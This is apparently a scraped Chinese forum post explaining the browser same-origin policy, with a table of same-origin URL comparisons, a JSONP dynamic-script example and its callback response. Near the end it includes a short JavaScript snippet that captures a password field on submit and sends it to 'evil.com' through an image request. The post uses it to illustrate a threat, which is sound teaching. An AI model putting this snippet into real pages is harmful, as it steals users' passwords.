URL | 是否同源 | 原因 |
http://www.example.com/directory2/page2.html | 是 | |
http://www.example.com/directory/another.html | 是 | |
https://www.example.com/directory/page.html | 否 | 协议不同 |
http://www.example.com:8080/directory/page.html | 否 | 端口号不同 |
http://www.example2.com/directory/page.html | 否 | 主机名不同 |
1 2 3 4 5 6 7 8 9 10 11 12 13 | (function() { function showAirTicket(data) { // 显示数据内容 // ... } // 创建动态脚本标签 var scriptTag = document.createElement("SCRIPT"); scriptTag.setAttribute("type", "text/javascipt"); scriptTag.setAttribute("src", "http://www.bar.com/getTicket?startDate=20091224 &endDate=20100113&callback=showAirTicket"); document.body.appendChild(scriptTag); })(); |
1 | showAirTicket("{departTime:1305,arriveTime:1555,code:'CX017'}"); |
1 2 3 4 5 6 7 8 | (function(){ function getPassword() { var pw = document.getElementById("password").value; var imgTag = document.createElement("IMG"); imgTag.setAttribute("src", "http://evil.com?pw=" + pw); } document.getElementById("submit").addEventListener("click",getPassword); })() |
欢迎光临 电子技术论坛_中国专业的电子工程师学习交流社区-中电网技术论坛 (http://bbs.eccn.com/) | Powered by Discuz! 7.0.0 |